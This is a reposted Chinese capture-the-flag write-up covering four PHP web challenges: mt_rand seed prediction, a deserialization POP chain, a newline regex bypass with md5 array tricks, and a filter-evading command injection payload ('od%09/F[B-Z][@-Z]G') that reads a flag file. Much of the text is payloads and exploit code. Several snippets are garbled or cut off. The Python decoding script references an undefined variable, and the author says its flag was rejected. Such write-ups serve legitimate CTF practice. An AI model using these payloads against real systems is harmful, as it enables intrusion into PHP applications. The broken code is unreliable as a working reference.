栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

CTF刷题系列

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CTF刷题系列

CTF刷题 (1)[GWCTF 2019]枯燥的抽奖

这里进入就看到一张图片。一看到猜测随机数,这里就肯定先想到php随机数漏洞。

右击查看源码。很明显看到有前端的一些暗示,所以就可以顺着往下摸索,查看check.php。

这个可以看到随机数是用mt_srand生成的,所以就导致了一个漏洞的产生。
导致只要得到他的种子,就可以进行一个随机数的向后获取。

由于生成的是一个字符串,所以我们可以使用官方文档来进行转换。

 

然后再拿到./php_mt_rand中解密就好了,这里就不进行贴图了。然后就需要写一个脚本进行操作(原因:因为当时出flag的时候进行了一系列的操作)


[NISACTF 2022]popchains

这道题也是一道pop链构造的题,我记得在前几天发了一道pop链构造的题,这里直接上exp

page=new road_Is_long;
$a->page->string=new make_a_change;
$a->page->string->effort=new Try_Work_Hard;
echo urlencode(serialize($a));
?>
[鹤城杯 2021]Middle magic 第一关
    $aaa = preg_replace('/^(.*)level(.*)$/', '${1}${2}', $_GET['aaa']);

    if(preg_match('/pass_the_level_1#/', $aaa)){
        echo "here is level 2";
      }  

这里的意思就是把level匹配成${1} 注释符 ${2}这种(这里不太懂两个 ${1}是干啥的,目测是影响双写绕过)
这里漏洞点还是出在了^和 $的身上。这里的话,可以转到我博客去看下和阿帕奇换行解析漏洞点一致

//level1
payload:
%0apass_the_level_1%23
第二关和第三关


这里就是一个md5的绕过,同样可以去博客上面去找里面都有详细解答,这里就不做介绍了比较简单,最后一个的话,是一个json_decode的弱哈希绕过。
所以可以构造出payload

GET:  aaa=%0apass_the_level_1%23
POST: admin[]=1&level_3=0&root_pwd[]=2
[广东强网杯 2021 团队组]love_Pokemon

不得不说,这道题是真的难,基本上把所有的危险函数相关的字母都进行了对应的过滤,而且还进行了长度限制(这里就把异或,取反自增进行了过滤,基本上就不存在了)

思路
进行用od命令读取八进制转换,进行一个[B-Z]的一个正则匹配,然后逐个匹配进行绕过
payload:
myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G
//拿去进行八进制解码即可

这里也在kali机子上测试了一下正则。

写了一个8进制转16进制的脚本:

$value)
{
//echo $value; echo '
'; $flag=base_convert($value,8,16); echo $flag;echo ' '; $flag=$flag+' '; //echo $flag; } //var_dump($flag); ?>
//python脚本
# -*- coding: utf-8 -*-
import re
import requests
flag=''
def strReverse(strDemo):
    strList=list(strDemo)
    if len(strList)==0 or len(strList)==1:
        return strList
    i=0
    length=len(strList)
    while i < length/2:
        strList[i], strList[length-i-1]=strList[length-i-1], strList[i]
        i+=1
    return ''.join(strList)
url="http://www.ku51.net/ox2str/index.php"
a="0 534e 4353 4654 357b 3664 3437 6333 2d30 10 3737 6132 342d 3763 2d34 3761 6464 372d 20 3962 3862 6439 6365 6364 7d39 a 2d"
re1=re.findall("(.*?) ",a)
for i in re1:
    data={"act":1,"code":'UTF8',"con":i}
    req=requests.post(url,data=data).text
    req="".join(req)
    if type(req)==list:
        continue
    print(req)
    if type(req11)==list:
        continue
    flag=flag+req11
    #print(req11)
print(flag)

这里python脚本可能有点问题,我不知道为啥我出来的flag交不了,希望师傅们

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/871130.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号